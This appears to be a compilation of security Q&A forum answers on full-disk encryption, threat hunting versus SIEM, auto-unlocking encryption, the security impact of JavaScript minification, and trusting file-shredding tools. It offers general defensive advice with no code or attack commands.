Start with a clean drive
Encrypt the entire drive before placing data
Write your data to the encrypted drive
Call it a day

As with any system configuration, I highly recommend testing this solution with a non-production machine to ensure that it responds favorably given your hardware, os, and other variable. You don't want to hose your production machine with an encrypted, failed, hard drive.


How exactly hunting differs from SIEM Use case

To simply break this down and answer this question above, when you handle alerts & events with SIEMS it involves a reactive approach. Whereas for Threat Hunting, it harness a more proactive approach. Basically aiming to be a step ahead of threats instead of being on the receiving end of them. Just this alone separates the use cases for both of this specialties.
However, Threat Hunting and SIEM should be able to coexist and is highly recommended to be used together and not either or. The Data gathered from your organization/infrastructure can be used as a set of benchmarks and guidelines and to aggregate said data for analysis and threat hunting.
A succinct guide for Threat Hunting, basic touchpoints


Does auto unlocked disk encryption grant any security?

It depends on what you mean by auto unlocking.

Auto unlock once when the device boots:  There are benefits because if your device is stolen when powered off then the attacker can not copy the data offline.   Without encryption, they could (even if they didn't know your login)

Always auto unlock (no matter what state the device is in, it will always unlock itself automatically for anybody and at any time):  I can't think of any benefits because by definition the device is unlocked and fully accessible.  I guess one benefit might be that if the device has a restricted IO/GUI/API then this prevents reverse engineering or getting at the raw data.


What is the security impact of JavaScript minification?

It is unlikely that simple substitutions introduce new vulnerabilities.

The rules which minification follows are simple and easy to implement and the grammar of the language is fairly easy to parse.

Thus, the minification itself poses no significant additional threats to usage of JavaScript (essentially a method for remote arbitrary code execution) in general.

After a comment from @Armenius, I‘d like to point out that there are certain edge cases in which minifiers make assumptions about the (somehow convoluted) typing system of JavaScript that introduces - well - bugs.

This has yet been fixed, but there is of course no proof that there are not more poorly designed minifiers that do things to minify that (ab)use features differently from what the author intended.

Please also note that it depends on what minifier you use - for example, as anecdotal evidence - the switch from gcc to clang have brought back buffer overflows that were „fixed“ by checking if an integer overflowed in an if statement. The standard says the behavior of overflown integers is undefined and gcc used to start them back at minint. Clang was being clever: »if the integer didn’t flow over, it cannot be negative. If it is negative, there must be an overflow. Which consequences are undefined so I‘m optimizing out the whole if statement«

So, yes, there is a small chance that (basically any software so also) minifiers introduce new bugs. However, I’m confident those are rare and easily fixed as the syntax is not as complicated.

Yet, there is an implication that is often overlooked when it comes to minification: whenever scripts are minified, they become essentially unintelligible for humans unless reinflated. Thus, when they are not included from a well known, trusted CDN, they might contain malicious script pieces hidden in an otherwise fine jQuery-implementation, for example.

And introducing such malicious code can very well be done by minifiers. But on the other hand, such tools are usually open source and a hidden crypto-miner in every minimized script will be spotted fairly quickly by the community.

Apart from that, dropping malicious otherwise not obvious code in a minified script after its generation and before its deployment to the users can be a good hiding place - and ongoing minification makes manual security reviews of websites more complicated.


Is there a risk that file shredders and free space wipers steal our confidential data?

You can of course never be sure that there are no back doors in software you get from random places on the internet.  So you have to a similar "due diligence" that is always warranted in security: to consider the value of what you are trying to shred up against how much you can trust the vendor.

So go with the high-reputation vendors or write your own software.  For instance, with http://sourceforge.net/projects/eraser/ (not a recommandation, just an example) lets you verify the source code and build it your self.

An alternative (or complementary) is to encrypt the files in the first place, leaving no content to recover if someone seizes your disks.